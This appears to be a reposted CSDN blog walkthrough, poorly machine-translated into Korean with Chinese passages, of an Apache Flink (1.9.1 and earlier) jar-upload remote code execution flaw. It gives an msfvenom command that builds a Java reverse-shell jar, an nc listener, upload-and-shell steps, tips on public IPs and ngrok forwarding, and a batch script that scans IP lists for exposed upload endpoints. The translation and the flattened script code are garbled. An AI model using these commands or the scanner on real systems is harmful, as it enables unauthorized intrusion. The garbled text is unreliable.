머리말
아파치 FLINK 항아리 패키지가 어떤 원인에 원격 코드 실행 취약점 재생 과정을 업로드하면 기억하십시오.
이해하고 있기 때문에 지원을 끝까지 당신을 감상 할 수있는 작은 흰색 재생 과정의 취약점 위해 최선을 다하고있다!
감사의 Cx01, 총리 및 다른 사촌. 당신의 도움이 없이는 기사가 없습니다!
0x01로 취약점 설명
최근 보안 연구자 호는 아파치 FLINK 항아리 패키지는 어떤 허점이 원격 코드가 실행될 업로드 할 수 있습니다.
영향의 구체 : <= 1.9.1 (최신 버전)
I가 상대적으로 작은 측정 될 수 있고, 버전 1.9의 성공 확률은 비교적 높다.
0x02의 취약점 위협 수준
高危
그것은 원격 코드가 실행될 수 있습니다
0x03으로 재현 취약점
페이로드 생성하는 첫 번째 단계 msfvenom -p java/shell_reverse_tcp LHOST=x.x.x.x LPORT=x -f jar >fuck.jar
이름은 임의적으로 취할 수
두 번째 단계는 내가 NC 수신 대기 포트를 선택, 모니터 포트 생성됩니다.
nc -lvp 8000
세 번째 단계는 업로드 페이로드입니다
마지막으로 직접 반환 쉘
그런 다음 명령을 실행
를 0x04 그 구덩이를 재현
一定要生成公网ip的payload!!!
一定要生成公网ip的payload!!!
一定要生成公网ip的payload!!!
돈, 작은 오빠, 여동생 포트 포워딩을위한 써니 - ngrok 도구를 선택할 수 있습니다.
써니 - ngrok 공식 튜토리얼
0x05가 배치 테스트 스크립트
스크립트 소스
"" " 인증 : @ l3_W0ng 버전 : 1.0 기능 : 아파치 웹 대시 보드 RCE 사용 : python3 script.py IP [포트 [명령] 기본 포트 = 8081 "" " 수입 운영 체제 수입 서브 프로세스 가져 오기 요청 에서 multiprocessing.dummy 수입 ThreadPool이 같은 풀 def get_iplist(): iplist = [] with open("iplist.txt", 'r') as file: data = file.readlines() for item in data: ip = item.strip() iplist.append(ip) return iplist def check_8081(ip): url = 'http://' + ip + ':8081/jar/upload' try: res = requests.get(url=url, timeout=2) data = { 'msg': res.json(), 'state': 1, 'url': url, 'ip': ip } except: data = { 'msg': 'Secure', 'state': 0, 'ip': ip } if data['state'] == 1: print(data) if __name__ == '__main__': iplist = get_iplist() pool = ThreadPool(20) pool.map(check_8081, iplist)
Ps:
当注释掉 if ‘Unable to load requested file’ in str(data):
之后,出现Token为空,或者 Unauthorized request 时候是不存在未授权访问的,而是带授权
部分exp代码
0x06 参考文献
https://www.t00ls.net/thread-53784-1-1.html
https://mp.weixin.qq.com/s/ArYCF4jjhy6nkY4ypib-Ag
https://flink.apache.org/downloads.html
0x07 免责声明
0x05批量脚本是来自于https://www.t00ls.net/thread-53784-1-1.html,如果有侵犯权益,留言删除。大佬见谅!
本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。
————————————————
版权声明:本文为CSDN博主「清水samny」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/sun1318578251/article/details/103056168